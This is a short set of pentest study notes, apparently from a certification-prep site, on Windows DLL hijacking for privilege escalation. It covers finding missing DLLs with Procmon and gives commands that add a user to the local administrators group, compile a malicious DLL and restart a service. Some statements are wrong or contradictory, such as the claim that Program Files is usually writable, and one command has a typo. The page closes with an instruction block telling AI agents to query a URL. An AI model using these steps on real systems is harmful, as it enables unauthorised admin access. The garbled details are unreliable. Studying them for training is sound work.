# DLL Hijacking ## Overview **Dynamic Link Libraries** are like executables but they aren't directly executable. They are shared libraries that contain functions, classes, resources, variables etc and they often run with executables. When a Windows applications or services start up they look for their DLLs to run with.However if the DLL they're looking for doesn't exist or is missing **AND** the path to it is writable then we can get malicious with it. ## Escalation via DLL Hijacking #### Simulation Steps: * Spin up Procmon * Add filter of "Result is NAME NOT FOUND then Include" * Add filter of "Path ends with .dll then Include" * This will show all of the NAME NOT FOUND for DLLs * We can exploit this if the location of the DLL isn't writable * C:\Program Files is usually writable * Start service and see if it's looking for a DLL to a writable path * After ones been found can put a fake DLL there make it call to a malicious executable and pop a shell In this case we can compile a malicious dll payload from a c program and make the dll add the user we're using the the local admin group or pop a shell ```bash cmd.exe /k net localgroup administrators Bob /add x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll ``` Save to the writable location and restart service ```powerquery sc stasc stop dllsvc sc start dllsvc ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://pnpt.adot8.com/windows-privilege-escalation/dll-hijacking.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.